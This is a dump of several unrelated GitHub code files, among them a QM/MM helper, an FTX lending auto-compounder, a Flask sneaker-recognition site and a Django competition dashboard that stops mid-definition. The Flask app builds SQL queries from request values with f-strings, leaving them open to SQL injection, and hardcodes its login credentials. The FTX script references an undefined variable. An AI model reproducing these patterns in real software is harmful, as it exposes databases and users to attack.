grab=False\n if 'NBOND' in line:\n return charges\n if grab is True:\n charge=float(line.split()[6])\n charges.append(charge)\n return charges\n\n#Define active region based on radius from an origin atom.\n#Requires fragment (for coordinates) and resids list inside OpenMMTheory object\n#TODO: Also allow PDBfile to grab resid information from?? Prettier since we don't have to create an OpenMMTheory object\ndef actregiondefine(pdbfile=None, mmtheory=None, fragment=None, radius=None, originatom=None):\n \"\"\"ActRegionDefine function\n\n Args:\n mmtheory ([OpenMMTheory]): OpenMMTheory object. Defaults to None.\n fragment ([Fragment]): ASH Fragment. Defaults to None.\n radius ([int]): Radius (in Angstrom). Defaults to None.\n originatom ([int]): Origin atom for radius. Defaults to None.\n\n Returns:\n [type]: [description]\n \"\"\"\n print_line_with_mainheader(\"ActregionDefine\")\n\n #Checking if proper information has been provided\n if radius == None or originatom == None:\n print(\"actregiondefine requires radius and originatom keyword arguments\")\n ashexit()\n if pdbfile == None and fragment == None:\n print(\"actregiondefine requires either fragment or pdbfile arguments (for coordinates)\")\n ashexit()\n if pdbfile == None and mmtheory == None:\n print(\"actregiondefine requires either pdbfile or mmtheory arguments (for residue topology information)\")\n ashexit()\n #Creating fragment from pdbfile \n if fragment == None:\n print(\"No ASH fragment provided. Creating ASH fragment from PDBfile\")\n fragment = Fragment(pdbfile=pdbfile, printlevel=1)\n\n print(\"Radius:\", radius)\n print(\"Origin atom: {} ({})\".format(originatom,fragment.elems[originatom]))\n print(\"Will find all atoms within {} Å from atom: {} ({})\".format(radius,originatom,fragment.elems[originatom]))\n print(\"Will select all whole residues within region and export list\")\n if mmtheory != None:\n if mmtheory.__class__.__name__ == \"NonBondedTheory\":\n print(\"MMtheory: NonBondedTheory currently not supported.\")\n ashexit()\n if not mmtheory.resids :\n print(BC.FAIL,\"mmtheory.resids list is empty! Something wrong with OpenMMTheory setup. Exiting\",BC.END)\n ashexit()\n #Defining list of residue from OpenMMTheory object \n resids=mmtheory.resids\n else:\n #No mmtheory but PDB file should have been provided\n #Defining resids list from PDB-file\n #NOTE: Call grab_resids_from_pdbfile\n resids = grab_resids_from_pdbfile()\n print(\"Not ready yet\")\n ashexit()\n ashexit()\n\n origincoords=fragment.coords[originatom]\n act_indices=[]\n #print(\"resids:\", resids)\n for index,allc in enumerate(fragment.coords):\n #print(\"index:\", index)\n #print(\"allc:\", allc)\n dist=ash.modules.module_coords.distance(origincoords,allc)\n if dist < radius:\n #print(\"DIST!!\")\n #print(\"index:\", index)\n #print(\"allc:\", allc)\n #Get residue ID for this atom index\n resid_value=resids[index]\n #print(\"resid_value:\", resid_value)\n #Get all residue members (atom indices)\n resid_members = [i for i, x in enumerate(resids) if x==resid_value]\n #print(\"resid_members:\", resid_members)\n #Adding to act_indices list unless already added\n for k in resid_members:\n if k not in act_indices:\n act_indices.append(k)\n\n #Only unique and sorting:\n print(\"act_indices:\", act_indices)\n act_indices = np.unique(act_indices).tolist()\n\n #Print indices to output\n #Print indices to disk as file\n writelisttofile(act_indices, \"active_atoms\")\n #Print information on how to use\n print(\"Active region size:\", len(act_indices))\n print(\"Active-region indices written to file: active_atoms\")\n print(\"The active_atoms list can be read-into Python script like this:\t actatoms = read_intlist_from_file(\\\"active_atoms\\\")\")\n #Print XYZ file with active region shown\n ash.modules.module_coords.write_XYZ_for_atoms(fragment.coords,fragment.elems, act_indices, \"ActiveRegion\")\n print(\"Wrote Active region XYZfile: ActiveRegion.xyz (inspect with visualization program)\")\n return act_indices\n\n\n","repo_name":"RagnarB83/ash","sub_path":"modules/module_QMMM.py","file_name":"module_QMMM.py","file_ext":"py","file_size_in_byte":72275,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"31"} +{"seq_id":"6111570378","text":"# Made by TYX 080521; Lending compounder automated\r\nimport time\r\nimport hmac\r\nimport requests\r\nimport math # to truncate lendable amount\r\nfrom threading import Timer\r\nimport datetime as dt\r\nimport os\r\n\r\n\r\nclass RepeatedTimer(object):\r\n\tdef __init__(self, interval, function, *args, **kwargs):\r\n\t\tself._timer = None\r\n\t\tself.interval = interval\r\n\t\tself.function = function\r\n\t\tself.args = args\r\n\t\tself.kwargs = kwargs\r\n\t\tself.is_running = False\r\n\t\tself.start()\r\n\r\n\tdef _run(self):\r\n\t\tself.is_running = False\r\n\t\tself.start()\r\n\t\tself.function(*self.args, **self.kwargs)\r\n\r\n\tdef start(self):\r\n\t\tif not self.is_running:\r\n\t\t\tself._timer = Timer(self.interval, self._run)\r\n\t\t\tself._timer.start()\r\n\t\t\tself.is_running = True\r\n\r\n\tdef stop(self):\r\n\t\tself._timer.cancel()\r\n\t\tself.is_running = False\r\n\r\n\r\ndef selector(coin_name: str, api_output):\r\n\tselected = 0\r\n\tfor i in api_output.json()['result']:\r\n\t\tif i['coin'] == coin_name:\r\n\t\t\tselected = i\r\n\t\t\tbreak \r\n\tif not selected:\r\n\t\tprint('No such coin.')\r\n\treturn selected\r\n\r\n\r\ndef authenticator(api_call: str, method: str, ftxkey: str, apisecret: str):\r\n\tts = int(time.time() * 1000)\r\n\r\n\trequesting = requests.Request(method, string)\r\n\tprepared = requesting.prepare()\r\n\r\n\tsignature_payload = f'{ts}{prepared.method}{prepared.path_url}'\r\n\tsignature_payload = signature_payload.encode()\r\n\tsignature = hmac.new(apisecret.encode(), signature_payload, 'sha256').hexdigest()\r\n\r\n\tprepared.headers['FTX-KEY'] = ftxkey\r\n\tprepared.headers['FTX-SIGN'] = signature\r\n\tprepared.headers['FTX-TS'] = str(ts)\r\n\ts = requests.Session()\r\n\tres = s.send(prepared)\r\n\treturn res\r\n\r\n\r\ndef authenticator_post_lend(api_call: str, method: str, coin_name: str, size: float, ftxkey: str, apisecret: str):\r\n\tts = int(time.time() * 1000)\r\n\tbody = {\r\n\t\t\"coin\": coin_name,\r\n\t\t\"size\": size,\r\n\t\t\"rate\": 1e-6\r\n\t}\r\n\trequesting = requests.Request(method, api_call, json=body)\r\n\tprepared = requesting.prepare()\r\n\r\n\tsignature_payload = f'{ts}{prepared.method}{prepared.path_url}'.encode()\r\n\tprint(prepared.body)\r\n\tif prepared.body:\r\n\t\tsignature_payload += prepared.body\r\n\tsignature_payload = signature_payload\r\n\t# print(signature_payload)\r\n\tsignature = hmac.new(apisecret.encode(), signature_payload, 'sha256').hexdigest()\r\n\r\n\tprepared.headers['FTX-KEY'] = ftxkey\r\n\tprepared.headers['FTX-SIGN'] = signature\r\n\tprepared.headers['FTX-TS'] = str(ts)\r\n\ts = requests.Session()\r\n\tres = s.send(prepared)\r\n\treturn res\r\n\r\n\r\ndef truncate(number, digits) -> float:\r\n\tstepper = 10.0 ** digits\r\n\treturn math.trunc(stepper * number) / stepper\r\n\r\n\r\ndef change_lending(string, string_lending, ftxkey, apisecret):\r\n\tres = authenticator(string, 'GET', ftxkey, apisecret)\r\n\tprint(f'Status code: {res.status_code}') # status code\r\n\tif res.status_code != 200:\r\n\t\tprint(f'Something has gone wrong. {res.text}')\r\n\t\t# os.system('pause')\r\n\r\n\tselected = selector('USD', res)\r\n\tprint(selected)\r\n\tlendable = selected['lendable']\r\n\t# print(lendable) # debugging\r\n\t# print(type(lendable)) # float\r\n\r\n\tnew_lending = truncate(lendable, 6)\r\n\tresults = authenticator_post_lend(string_lending, 'POST', 'USD', new_lending, ftxkey, apisecret)\r\n\tprint(results)\r\n\tprint(results.text)\r\n\tif not results.json()['success']:\r\n\t\tprint('An error occurred. Please check.')\r\n\telif results.json()['success']:\r\n\t\tprint('Success! Compounded interest.')\r\n\t\tprint(\"Interest last compounded at time: \", dt.datetime.now().strftime(\"%d/%m/%Y, %H:%M:%S\"))\r\n\t\tprint('\\n')\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\tprint('Created by TYXu')\r\n\tprint('This function deals with lending for USD on FTX. Look into script for changes.')\r\n\tAPIinfofilename = 'API_keys.txt'\r\n\tAPIinfo = open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'config', APIinfofilename), 'r').readlines()\r\n\r\n\tfor n in APIinfo:\r\n\t\tkeys = n.rstrip().split(':')\r\n\t\tif keys[0] == 'FTX_KEY':\r\n\t\t\tFTX_KEY = keys[1]\r\n\t\telif keys[0] == 'API_SECRET':\r\n\t\t\tAPI_SECRET = keys[1]\r\n\r\n\tstring ='https://ftx.com/api/spot_margin/lending_info' # get lending history\r\n\tstring_lending = 'https://ftx.com/api/spot_margin/offers' # for POSTing\r\n\r\n\ttry:\r\n\t\tchange_lending(string, string_lending, FTX_KEY, API_SECRET)\r\n\t\tr_t_lending = RepeatedTimer(3600, change_lending, string, string_lending, FTX_KEY, API_SECRET)\r\n\t\t# r_t_lending = RepeatedTimer(1, print, \"world\") # testing\r\n\texcept Exception as ex:\r\n\t\tprint(ex)\r\n\r\n","repo_name":"ckrat67/FTX-Lending-Compounding","sub_path":"FTX_Lending_automatic.py","file_name":"FTX_Lending_automatic.py","file_ext":"py","file_size_in_byte":4331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72557060248","text":"# техаський флеш\n\ntable_cards = [\"A_S\", \"J_H\", \"7_D\", \"8_D\", \"10_D\"]\nhand_cards = [\"J_D\", \"3_D\"]\n\nsuites = 'CHSD'\nflush = False\n\n# масть карт на столі. Вона завжди вказана як останній елемент в списку\ntable_suites = [i[-1] for i in table_cards]\n# так само і з мастями на руках\nhand_suites = [i[-1] for i in hand_cards]\n# об'єднуємо два списка з останніх елементів\nsuites_in_game = table_suites + hand_suites\n# далі рішення через comprehension\nflush = any([suites_in_game.count(suit) >= 5 for suit in suites])\nif flush:\n print('Flush!')\nelse:\n print('No Flush!')\n\n####\n# або через цикл for\nflush = False\nfor suit in suites:\n if suites_in_game.count(suit) >= 5:\n flush = True\n\nif flush:\n print('Flush!')\nelse:\n print('No Flush!')\n","repo_name":"IhorStoliarov/es","sub_path":"3.while_loop_logic/hw3x/37_1_hw_Flush_ES.py","file_name":"37_1_hw_Flush_ES.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44105014708","text":"\"\"\"update auction table\n\nRevision ID: 10c67ac19292\nRevises: 1a592abde3a5\nCreate Date: 2022-09-24 16:06:54.465252\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '10c67ac19292'\ndown_revision = '1a592abde3a5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('AuctionBid',\n sa.Column('bid_id', sa.Integer(), nullable=False),\n sa.Column('auction_id', sa.Integer(), nullable=True),\n sa.Column('bid', sa.Float(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['auction_id'], ['Auction.auction_id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['User.user_id'], ),\n sa.PrimaryKeyConstraint('bid_id')\n )\n op.create_index(op.f('ix_AuctionBid_bid_id'), 'AuctionBid', ['bid_id'], unique=False)\n op.drop_constraint('Auction_highest_bid_user_id_fkey', 'Auction', type_='foreignkey')\n op.drop_column('Auction', 'highest_bid_user_id')\n op.drop_column('Auction', 'highest_bid')\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('Auction', sa.Column('highest_bid', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True))\n op.add_column('Auction', sa.Column('highest_bid_user_id', sa.INTEGER(), autoincrement=False, nullable=False))\n op.create_foreign_key('Auction_highest_bid_user_id_fkey', 'Auction', 'User', ['highest_bid_user_id'], ['user_id'])\n op.drop_index(op.f('ix_AuctionBid_bid_id'), table_name='AuctionBid')\n op.drop_table('AuctionBid')\n # ### end Alembic commands ###\n","repo_name":"khageshpatel/Auction","sub_path":"alembic/versions/10c67ac19292_update_auction_table.py","file_name":"10c67ac19292_update_auction_table.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72730155288","text":"# Adapted from: https://github.com/meetshah1995/pytorch-semseg/blob/master/ptsemseg/metrics.py\n\n# from multi_task.losses import l1_loss_instance\n# from multi_task.losses import l1_loss_instance\nimport numpy as np\nfrom sklearn.metrics import balanced_accuracy_score\n\n\nclass RunningMetric(object):\n def __init__(self, metric_type, n_classes=None):\n self._metric_type = metric_type\n self.num_updates = 0.0\n if metric_type == 'ACC':\n self.accuracy = 0.0\n if metric_type == 'ACC_BLNCD':\n self.accuracy_balanced = 0.0\n self.accuracy = 0.0\n self.num_batches = 0.0\n if metric_type == 'L1':\n self.l1 = 0.0\n if metric_type == 'IOU':\n assert n_classes is not None, 'ERROR: n_classes is needed for IOU'\n self._n_classes = n_classes\n self.confusion_matrix = np.zeros((n_classes, n_classes))\n\n def reset(self):\n self.num_updates = 0.0\n if self._metric_type == 'ACC':\n self.accuracy = 0.0\n if self._metric_type == 'ACC_BLNCD':\n self.accuracy_balanced = 0.0\n self.accuracy = 0.0\n self.num_batches = 0.0\n if self._metric_type == 'L1':\n self.l1 = 0.0\n if self._metric_type == 'IOU':\n self.confusion_matrix = np.zeros((self._n_classes, self._n_classes))\n\n def _fast_hist(self, pred, gt):\n mask = (gt >= 0) & (gt < self._n_classes)\n hist = np.bincount(\n self._n_classes * gt[mask].astype(int) +\n pred[mask], minlength=self._n_classes ** 2).reshape(self._n_classes, self._n_classes)\n return hist\n\n def update(self, pred, gt):\n if self._metric_type == 'ACC':\n predictions = pred.data.max(1, keepdim=True)[1]\n self.accuracy += (predictions.eq(gt.data.view_as(predictions)).cpu().sum()).item()\n self.num_updates += predictions.shape[0]\n\n if self._metric_type == 'ACC_BLNCD':\n predictions = pred.data.max(1, keepdim=True)[1].squeeze()\n y_true = gt.data.view_as(predictions).cpu().numpy()\n predictions = predictions.cpu().numpy()\n self.accuracy_balanced += balanced_accuracy_score(y_true, predictions)\n # if (predictions.min() not in [0, 1]) or\\\n # (predictions.max() not in [0, 1]) or\\\n # (y_true.min() not in [0, 1]) or\\\n # (y_true.max() not in [0, 1]):\n # print('!!!!!')\n\n self.num_batches += 1 # different semantics than in ACC: there \"num_samples_seen\", here \"num_batches_seen\"\n self.accuracy += (predictions == y_true).sum()\n self.num_updates += predictions.shape[0]\n\n if self._metric_type == 'L1':\n _gt = gt.data.cpu().numpy()\n _pred = pred.data.cpu().numpy()\n gti = _gt.astype(np.int32)\n mask = gti != 250\n if np.sum(mask) < 1:\n return\n self.l1 += np.sum(np.abs(gti[mask] - _pred.astype(np.int32)[mask]))\n self.num_updates += np.sum(mask)\n\n if self._metric_type == 'IOU':\n _pred = pred.data.max(1)[1].cpu().numpy()\n _gt = gt.data.cpu().numpy()\n for lt, lp in zip(_pred, _gt):\n self.confusion_matrix += self._fast_hist(lt.flatten(), lp.flatten())\n\n def get_result(self):\n if self._metric_type == 'ACC':\n return {'acc': self.accuracy / self.num_updates}\n if self._metric_type == 'ACC_BLNCD':\n return {'acc_blncd': self.accuracy_balanced / self.num_batches,\n 'acc': self.accuracy / self.num_updates}\n if self._metric_type == 'L1':\n return {'l1': self.l1 / self.num_updates}\n if self._metric_type == 'IOU':\n acc = np.diag(self.confusion_matrix).sum() / self.confusion_matrix.sum()\n acc_cls = np.diag(self.confusion_matrix).sum() / self.confusion_matrix.sum(axis=1)\n acc_cls = np.nanmean(acc_cls)\n iou = np.diag(self.confusion_matrix) / (\n self.confusion_matrix.sum(axis=1) + self.confusion_matrix.sum(axis=0) - np.diag(\n self.confusion_matrix))\n mean_iou = np.nanmean(iou)\n return {'micro_acc': acc, 'macro_acc': acc_cls, 'mIOU': mean_iou}\n\n\ndef get_metrics(params):\n met = {}\n if 'cityscapes' == params['dataset']:\n if 'S' in params['tasks']:\n met['S'] = RunningMetric(metric_type='IOU', n_classes=19)\n if 'I' in params['tasks']:\n met['I'] = RunningMetric(metric_type='L1')\n if 'D' in params['tasks']:\n met['D'] = RunningMetric(metric_type='L1')\n if params['dataset'] in ['celeba', 'mnist',\n 'cifar10', 'cifar10_singletask', 'cifar10_singletask_6vsAll', 'cifarfashionmnist',\n 'imagenette_singletask', 'imagenet_val']:\n if 'metric_type' in params:\n metric_type = params['metric_type']\n else:\n metric_type = 'ACC'\n for t in params['tasks']:\n met[t] = RunningMetric(metric_type=metric_type)\n\n return met\n","repo_name":"AwesomeLemon/structure-for-interpretability","sub_path":"multi_task/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":5175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43737512381","text":"import base64\nfrom flask import Flask, jsonify, render_template #模板套件,\nfrom flask import request #解析套件\nfrom flask_cors import CORS\nimport pymysql\nimport cv2\nimport numpy as np\nfrom keras.models import load_model\n\nmodel_12 = load_model('./static/model_forweb.h5')\nmodel_50 = load_model('./LINEBOT/static/model_forLINE.h5')\n\nfrom flask import url_for, redirect, flash\n\napp = Flask(__name__)\n\nCORS(app, resources={r\"./*\":{\"origins\":[\"*\"]}})\n\ndb = pymysql.connect(\n host='localhost',\n port=3306,\n user='root',\n passwd='',\n database='colourme',\n charset='utf8mb4',\n )\n\n################\ncursor = db.cursor()\nslick_sql = \"\"\"SELECT DISTINCT(`parser_hot_list`.`numbers`), `parser_hot_list`.`id`, `parser_text`.`name`,\n `parser_hot_list`.`Hot`, `productid_imgurl`.`imgURL` FROM `parser_hot_list`\n INNER JOIN `productid_imgurl` ON `parser_hot_list`.`id` = `productid_imgurl`.`id`\n INNER JOIN `parser_text` ON `parser_hot_list`.`id` = `parser_text`.`id`\n WHERE Hot > 0\n ORDER BY Hot DESC\"\"\"\ncursor.execute(slick_sql)\n\nif cursor.rowcount > 0:\n results = cursor.fetchall()\n\n slick_list = []\n for i in results:\n numbers = i[0]\n ids = i[1]\n names = i[2]\n # names = \" \".join(re.findall(\"\\w+\\s+\", i[2]))\n hot = i[3]\n url = i[4]\n slick_list.append({\"numbers\": numbers, \"id\": ids, \"name\": names, \"hot\": hot, \"url\": url})\n\ncursor.close()\n\n################\ncursor = db.cursor()\nproduct_sql = \"\"\"SELECT `category`.`id`, `category`.`name`, `category`.`text`, `productid_imgurl`.`imgURL` \n FROM `category` \n INNER JOIN `productid_imgurl` ON `category`.`id` = `productid_imgurl`.`id`\"\"\"\ncursor.execute(product_sql)\n\nif cursor.rowcount > 0:\n results = cursor.fetchall()\n\n product_list = []\n for i in results:\n ids = i[0]\n names = i[1]\n text = i[2].replace(\"'\", \"\").split(sep=\",\")\n text_list = []\n for index, u in enumerate(text):\n text_list.append({f\"text{index}\":u})\n url = i[3]\n product_list.append({\"id\": ids, \"name\": names, \"text\": text_list, \"url\": url})\ncursor.close()\n\n################\ncursor = db.cursor()\nDROP_table = \"DROP TABLE IF EXISTS collection\"\ncursor.execute(DROP_table)\nCREATE_table = \"CREATE TABLE IF NOT EXISTS collection(id CHAR(20) NOT NULL)\"\ncursor.execute(CREATE_table)\ncursor.close()\n\n################\n@app.route('/',methods=['GET'])\ndef home_page():\n return render_template('/home_page.html')\n\n@app.route('/log_in', methods=['GET', 'POST'])\ndef log_in():\n error = None\n if request.method == 'POST':\n if request.form['username'] != 'itri' or request.form['password'] != 'itri':\n error = 'Invalid username or password. Please try again!'\n else:\n return redirect(url_for('main_page')) #return render_template('main_page.html')\n return render_template('log_in.html', error=error)\n\n@app.route('/main_page',methods=['GET', 'POST'])\ndef main_page():\n if request.method == 'GET':\n return render_template('main_page.html', slick_list=slick_list)\n\n if request.method == 'POST':\n img = request.files['photo']\n img_read = img.read() #img_read = img.stream.read()\n # present preview img on the website\n img_encoded = base64.b64encode(img_read).decode('ascii')\n\n # execute back-end operations\n img_decoded = cv2.imdecode(np.frombuffer(img_read, np.uint8), 1)\n img_gray = cv2.cvtColor(img_decoded, cv2.COLOR_BGR2GRAY)\n img_resized = cv2.resize(img_gray, (100 , 100) , interpolation=cv2.INTER_AREA)\n img_flat = img_resized.flatten()\n img_flat[img_flat == np.argmax(np.bincount(img_flat))]= 255 #找出背景最多的數字,再指定成255\n img_reshaped = img_flat.reshape(-1,100,100,1)\n\n # model_12\n img_pre12 = model_12.predict(img_reshaped)\n no_12 = np.argmax(img_pre12[0]) #得到最相近的照片組別index\n\n cursor = db.cursor()\n select_sql_12 = f\"\"\"SELECT `category` FROM `category_label_12` WHERE `category_num`= {no_12}\"\"\"\n cursor.execute(select_sql_12)\n\n if cursor.rowcount > 0:\n results_12 = cursor.fetchall()\n\n result_list_12 = []\n for i in results_12:\n label = i[0]\n result_list_12.append({\"label\":label})\n cursor.close()\n\n # model_50\n img_pre50 = model_50.predict(img_reshaped)\n no_50 = np.argmax(img_pre50[0]) # 得到最相近的照片index\n\n cursor = db.cursor()\n select_sql_50 = f\"\"\"SELECT `category`.`numbers`,`category`.`id`,`category`.`name`,`category`.`text`,`category`.`price`,`productid_imgurl`.`imgURL`\n FROM ((`productid_imgurl`\n LEFT JOIN `category`\n ON `category`.`numbers`= `productid_imgurl`.`numbers`)\n RIGHT JOIN `model_label_50` ON `model_label_50`.`numbers`= `productid_imgurl`.`numbers`)\n WHERE `model_label_50`.`label`= {no_50}\"\"\"\n cursor.execute(select_sql_50)\n\n if cursor.rowcount > 0:\n results_50 = cursor.fetchall()\n\n result_list_50 = []\n for i in results_50:\n numbers = i[0]\n ids = i[1]\n names = i[2]\n text = i[3].replace(\"'\", \"\").split(sep=\",\")\n text_list = []\n for index, u in enumerate(text):\n text_list.append({f\"text{index}\": u})\n price = i[4]\n url = i[5]\n result_list_50.append({\"numbers\": numbers,\"ids\": ids, \"names\": names,\"text\":text_list, \"price\":price, \"url\": url})\n cursor.close()\n\n return render_template('result_page.html', slick_list=slick_list, img_encoded=img_encoded,result_list_12 = result_list_12, result_list_50 = result_list_50)\n\n@app.route('/product_page',methods=['GET', \"POST\"])\ndef product_page():\n if request.method == 'GET':\n return render_template('product_page.html', product_list=product_list)\n\n if request.method == 'POST':\n cat_list = ['', 'Retropy', 'Superstar', 'Others', 'Campus', 'Ozweego', 'Sneaker', 'Gazelle', 'NMD', 'Abaca',\n 'Centennial', 'Puffylette', 'Adiease']\n\n cursor = db.cursor()\n cllection_insert = \"\"\"INSERT INTO `collection` VALUES (%s);\"\"\"\n # p_id = request.values.get('p_id') # 用 form 的方法\n # cursor.execute(cllection_insert, (p_id))\n try:\n cursor.execute(cllection_insert, (request.json[\"id\"])) # 用 js 的方法\n db.commit()\n except:\n print('selection process')\n\n selection_sql = f\"\"\"SELECT `category`.`id`, `category`.`name`, `category`.`text`, `productid_imgurl`.`imgURL` FROM `category` \n INNER JOIN `productid_imgurl` ON `category`.`id` = `productid_imgurl`.`id`\n WHERE `category`.`category` = '{request.values.get('c_id')}'\"\"\"\n if request.values.get('c_id') != \"\":\n cursor.execute(selection_sql)\n else:\n cursor.execute(\"\"\"SELECT `category`.`id`, `category`.`name`, `category`.`text`, `productid_imgurl`.`imgURL` FROM `category` \n INNER JOIN `productid_imgurl` ON `category`.`id` = `productid_imgurl`.`id`\"\"\")\n\n product_list1 = []\n if cursor.rowcount > 0:\n results = cursor.fetchall()\n\n product_list1 = []\n for i in results:\n ids = i[0]\n names = i[1]\n text = i[2].replace(\"'\", \"\").split(sep=\",\")\n text_list = []\n for index, u in enumerate(text):\n text_list.append({f\"text{index}\": u})\n url = i[3]\n product_list1.append({\"id\": ids, \"name\": names, \"text\": text_list, \"url\": url})\n\n cursor.close()\n return render_template('product_page.html', product_list=product_list1)\n\n@app.route('/collection_page',methods=['GET', 'POST'])\ndef collection_page():\n if request.method == 'GET':\n collection_list = []\n\n cursor = db.cursor()\n collection_sql = \"\"\"SELECT DISTINCT(`collection`.`id`), `category`.`name`, `productid_imgurl`.`imgURL` \n FROM `collection` \n INNER JOIN `category` ON `collection`.`id` = `category`.`id`\n INNER JOIN `productid_imgurl` ON `collection`.`id` = `productid_imgurl`.`id`\"\"\"\n cursor.execute(collection_sql)\n\n if cursor.rowcount > 0:\n results = cursor.fetchall()\n\n for i in results:\n ids = i[0]\n # names = \" \".join(re.findall(\"\\w+\\s+\", i[2]))\n names = i[1]\n url = i[2]\n collection_list.append({\"id\": ids, \"name\": names, \"url\": url})\n\n cursor.close()\n return render_template('collection_page.html', collection_list = collection_list)\n\n if request.method == 'POST':\n collection_list = []\n\n cursor = db.cursor()\n\n p_id = request.values.get('p_id')\n deletion_sql = f\"\"\"DELETE FROM `collection` WHERE `id` = '{p_id}'\"\"\"\n cursor.execute(deletion_sql)\n\n collection_sql = \"\"\"SELECT DISTINCT(`collection`.`id`), `category`.`name`, `productid_imgurl`.`imgURL`\n FROM `collection`\n INNER JOIN `category` ON `collection`.`id` = `category`.`id`\n INNER JOIN `productid_imgurl` ON `collection`.`id` = `productid_imgurl`.`id`\"\"\"\n cursor.execute(collection_sql)\n\n if cursor.rowcount > 0:\n results = cursor.fetchall()\n\n for i in results:\n ids = i[0]\n # names = \" \".join(re.findall(\"\\w+\\s+\", i[2]))\n names = i[1]\n url = i[2]\n collection_list.append({\"id\": ids, \"name\": names, \"url\": url})\n\n db.commit()\n cursor.close()\n return render_template('collection_page.html', collection_list=collection_list)\n\n# @app.route('/result_page',methods=['GET', 'POST'])\n# def result_page():\n# if request.method == 'GET':\n# return render_template('result_page.html', slick_list=slick_list , result_list = result_list)\n\nif __name__ == '__main__':\n app.run()\n db.close()\n\n\n# \n\n#http://127.0.0.1:5000 = http://localhost:5000\n\n","repo_name":"IamLesleyLin/colourme","sub_path":"Api/API.py","file_name":"API.py","file_ext":"py","file_size_in_byte":10517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11538545940","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import User\nfrom dashboard.models import Dashboard, Ranking\nfrom django.http import HttpResponse\nfrom users.models import Profile\nfrom dashboard.forms import CompetitionForm, SubmissionForm\nfrom django.db.models import F\nfrom django.core.files.base import ContentFile\nfrom django.template.loader import render_to_string\nfrom sklearn.metrics import roc_auc_score\nimport pandas as pd\nimport datetime\nimport os\n\n\ntoday = datetime.date(datetime.datetime.now().year, datetime.datetime.now().month, datetime.datetime.now().day)\n\n\ndef competition(request, pk):\n competition = Dashboard.objects.get(pk=pk)\n rankings = Ranking.objects.filter(container=competition).all().order_by('-points')\n \n form = SubmissionForm(request.POST or None, request.FILES or None)\n ranking = Ranking.objects.filter(container=competition,username=request.user.username)\n\n if request.method == 'POST':\n if form.is_valid():\n if not request.FILES['submission'].name.endswith('.csv'):\n return render(request, 'competition.html', {\n 'competition': competition,\n 'rankings': rankings,\n 'form': form,\n 'error_message': 'El archivo debe tener una extensión .csv'\n })\n\n elif ranking.exists() == False:\n return render(request, 'competition.html', {\n 'competition': competition,\n 'rankings': rankings,\n 'form': form,\n 'error_message': 'Primero tienes que descargarte el .py para poder subir un archivo'\n })\n\n else:\n submission = SubmissionForm()\n submission = form.save(commit=False)\n submission.container_id = pk\n\n ranking.update(submission=request.FILES['submission'])\n \n submission.save()\n\n if Ranking.objects.filter(container=competition, username='').exists(): Ranking.objects.filter(container=competition, username='').delete()\n\n df_private = pd.read_csv(competition.private)\n df_private.columns = ['id','real']\n df_private.index = df_private.id\n df_submission = pd.read_csv(Ranking.objects.get(container=competition, username=request.user.username).submission)\n df_merged = pd.merge(df_private, df_submission, left_index=True, right_index=True, how='left')\n df_merged.fillna(0, inplace=True)\n\n ranking.update(points=(2*roc_auc_score(df_merged.real, df_merged.pred)-1))\n\n context = {\n 'competition': competition,\n 'rankings': rankings,\n 'form': form\n }\n\n return render(request, 'competition.html', context)\n\n\n# Active competitions:\n# Beginning date before today\n# Deadline date after today\n# Ordered by most recent\ndef actives(request):\n competitions = Dashboard.objects.filter(deadline__gte=today).filter(beginning__lte=today).order_by('-beginning')\n \n context = {\n 'competitions': competitions,\n 'show_competitions': True\n }\n\n return render(request, 'actives.html', context)\n\n\n# Coming competitions:\n# Beginning date after today\n# Ordered by closest date\ndef coming(request):\n competitions = Dashboard.objects.filter(beginning__gt=today).order_by('beginning')\n \n context = {\n 'competitions': competitions,\n 'show_competitions': True\n }\n\n return render(request, 'coming.html', context)\n\n\n# Past competitions:\n# Deadline date before today\n# Ordered by last finished\ndef pasts(request):\n competitions = Dashboard.objects.filter(deadline__lte=today).order_by('-deadline')\n \n context = {\n 'competitions': competitions,\n 'show_competitions': True\n }\n \n return render(request, 'pasts.html', context)\n\n\ndef creating(request):\n form = CompetitionForm(request.POST or None, request.FILES or None)\n\n if request.method == 'POST':\n if form.is_valid():\n if not request.FILES['test'].name.endswith('.csv'):\n return render(request, 'creating.html', {\n 'form': form,\n 'error_message': 'El archivo test debe tener una extensión .csv'\n })\n\n elif form.cleaned_data['beginning'] < today:\n error_message = 'El día de inicio no puede ser anterior a hoy (' + str(today) + ')'\n\n return render(request, 'creating.html', {\n 'form': form,\n 'error_message': error_message\n })\n\n else:\n competition = CompetitionForm()\n competition = form.save(commit=False)\n\n temp_test = request.FILES['test']\n temp_test = pd.read_csv(temp_test)\n competition.private = ContentFile(temp_test.copy().drop(columns=temp_test.columns[0:-1]).to_csv())\n competition.private.name = competition.title + '_private.csv'\n competition.test = ContentFile(temp_test.iloc[:,:-1].to_csv())\n competition.test.name = competition.title + '_test.csv'\n\n competition.train = request.FILES['train']\n competition.train.name = competition.title + '_train.csv'\n\n competition.author = request.user.username\n\n competition.save()\n \n url = '/dashboard/' + str(competition.pk)\n\n return redirect(url)\n\n return render(request, 'creating.html', {'form': form})\n\n\ndef 